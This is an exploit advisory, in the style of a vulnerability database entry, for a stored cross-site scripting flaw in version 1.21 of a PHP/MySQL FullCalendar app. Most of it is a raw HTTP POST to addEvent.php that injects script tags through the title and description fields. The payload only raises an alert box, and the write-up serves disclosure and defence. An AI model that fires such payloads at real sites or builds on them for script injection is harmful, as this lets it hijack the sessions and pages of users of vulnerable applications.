waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 Cross Site Scripting

2019.10.29
Credit: Cakes
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

Exploit Title: waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 - 'description' Cross-Site Scripting Date: 2019-10-28 Exploit Author: Cakes Vendor Homepage: waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON Software Link: https://github.com/waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON.git Version: 1.21 Tested on: CentOS7 CVE : N/A # Description: # Cross-Site scripting vulnerability in the description field. This XSS completely breaks the web application. #POC POST /addEvent.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.0.0.20/calendar03/ Content-Type: application/x-www-form-urlencoded Content-Length: 213 Cookie: PHPSESSID=t41kk4huqaluhcfghvqqvucl56 Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 title=%3Cscript%3Ealert%28%22TEST-Title%22%29%3B%3C%2Fscript%3E&description=%3Cscript%3Ealert%28%22TEST-Description%22%29%3B%3C%2Fscript%3E&color=%230071c5&start=2019-01-23+00%3A00%3A00&end=2019-01-24+00%3A00%3A00


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